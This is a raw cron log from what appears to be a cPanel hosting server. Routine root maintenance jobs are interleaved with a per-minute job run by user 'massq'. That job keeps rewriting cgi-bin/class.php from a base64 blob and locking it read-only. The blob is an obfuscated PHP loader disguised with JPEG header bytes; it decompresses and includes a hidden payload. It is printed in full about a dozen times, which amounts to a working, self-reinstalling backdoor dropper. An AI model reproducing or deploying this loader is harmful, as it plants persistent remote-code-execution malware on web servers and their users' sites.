Sep  8 10:15:01 server CROND[15933]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  8 10:15:01 server CROND[15931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:16:01 server CROND[16783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:16:01 server CROND[16785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:16:01 server CROND[16784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:17:01 server CROND[17160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:17:01 server CROND[17161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:17:01 server CROND[17162]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:18:01 server CROND[17586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:18:01 server CROND[17587]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:18:02 server CROND[17588]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:19:01 server CROND[17964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:19:01 server CROND[17965]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:19:01 server CROND[17963]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:20:01 server CROND[18435]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 10:20:01 server CROND[18437]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 10:20:01 server CROND[18438]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 10:20:01 server CROND[18439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:20:01 server CROND[18441]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 10:20:01 server CROND[18442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:20:01 server CROND[18443]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 10:20:01 server CROND[18440]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 10:20:01 server CROND[18446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:21:01 server CROND[19267]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:21:01 server CROND[19268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:21:01 server CROND[19269]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:22:01 server CROND[19656]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:22:01 server CROND[19657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:22:01 server CROND[19658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:23:01 server CROND[20034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:23:01 server CROND[20035]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:23:01 server CROND[20037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:24:01 server CROND[20459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:24:01 server CROND[20461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:24:01 server CROND[20460]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:25:01 server CROND[21025]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 10:25:01 server CROND[21026]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 10:25:01 server CROND[21032]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:25:01 server CROND[21030]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 10:25:01 server CROND[21034]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:25:01 server CROND[21028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:25:01 server CROND[21029]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 10:25:01 server CROND[21031]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  8 10:26:01 server CROND[21916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:26:01 server CROND[21918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:26:01 server CROND[21919]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:27:01 server CROND[22289]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:27:01 server CROND[22288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:27:01 server CROND[22290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:27:01 server CROND[22291]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 10:28:01 server CROND[22669]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
